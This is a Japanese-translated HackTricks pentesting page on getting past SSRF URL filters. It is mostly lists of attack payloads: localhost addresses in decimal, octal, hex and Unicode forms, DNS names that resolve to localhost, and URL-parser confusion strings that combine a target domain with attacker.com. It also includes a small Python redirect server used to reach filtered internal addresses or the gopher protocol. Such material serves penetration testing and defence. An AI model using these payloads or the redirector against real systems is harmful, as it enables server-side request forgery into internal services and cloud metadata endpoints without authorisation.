hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

13 KiB
Raw Blame History

URLフォーマットバイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ローカルホスト

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Burp拡張機能 Burp-Encode-IP はIPフォーマットのバイパスを実装しています。

ドメインパーサー

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

ドメインの混乱

Domain confusion is a technique used to bypass SSRF protections that rely on blacklisting or filtering specific URL formats. It takes advantage of the fact that different URL formats can be used to access the same resource.

ドメインの混乱は、特定のURL形式のブラックリストやフィルタリングに依存しているSSRF保護をバイパスするための技術です。異なるURL形式を使用して同じリソースにアクセスできるという事実を利用します。

For example, let's say there is a SSRF protection in place that blocks requests to internal IP addresses. The protection may be implemented by checking if the URL starts with "http://" or "https://". However, this can be bypassed by using alternative URL formats such as "http:/example.com" or "https:/example.com".

例えば、内部IPアドレスへのリクエストをブロックするSSRF保護があるとします。この保護は、URLが「http://」または「https://」で始まるかどうかをチェックすることで実装されているかもしれません。しかし、これは「http:/example.com」や「https:/example.com」といった代替URL形式を使用することでバイパスすることができます

By using different URL formats, an attacker can confuse the SSRF protection mechanism and trick it into making requests to internal IP addresses or other restricted resources.

異なるURL形式を使用することで、攻撃者はSSRF保護メカニズムを混乱させ、内部IPアドレスや他の制限されたリソースへのリクエストを行わせることができます。

It's important to note that domain confusion may not work in all cases, as some SSRF protections may be more sophisticated and capable of detecting and blocking such bypass attempts. Therefore, it's crucial to thoroughly test the effectiveness of domain confusion in the specific context of the target application.

ドメインの混乱がすべてのケースで機能するわけではないことに注意する必要があります。一部のSSRF保護はより洗練されており、このようなバイパス試行を検出してブロックすることができる可能性があります。したがって、対象アプリケーションの特定のコンテキストでドメインの混乱の効果を徹底的にテストすることが重要です。

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

パスと拡張子のバイパス

もし、URLがパスまたは拡張子で終わる必要がある場合、またはパスを含む必要がある場合、以下のバイパスのいずれかを試すことができます。

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

ツールrecollapseは、与えられた入力からバリエーションを生成して使用されている正規表現をバイパスしようとします。詳細については、この投稿も参照してください。

リダイレクトによるバイパス

サーバーがSSRFの元のリクエストをフィルタリングしている可能性がありますが、そのリクエストへの可能なリダイレクト応答はフィルタリングされていないかもしれません。
たとえば、url=https://www.google.com/を介したSSRFの脆弱なサーバーは、urlパラメータをフィルタリングしているかもしれません。しかし、pythonサーバーを使用して302で応答することで、リダイレクトしたい場所にフィルタリングされたIPアドレス127.0.0.1)や、フィルタリングされたプロトコルgopherにアクセスできるかもしれません。
このレポートをチェックしてください。

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

説明されたトリック

バックスラッシュトリック

簡単に言えば、バックスラッシュトリック は、2つの「URL」仕様間のわずかな違いを利用していますWHATWG URL標準RFC3986。RFC3986は、Uniform Resource Identifiers の構文に関する一般的な多目的の仕様であり、WHATWG URL標準はWebおよびURLURIのサブセットに特化しています。モダンなブラウザはWHATWG URL標準を実装しています。

両方の仕様は、URI/URLを解析する方法を説明していますが、わずかな違いがあります。WHATWG仕様では、\という1つの追加文字があり、これは/とまったく同じように振る舞いますホスト名と権限を終了し、URLのパスを開始します。

2つの仕様が同じURLを異なる方法で解析している

その他の混乱

画像はhttps://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/から。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥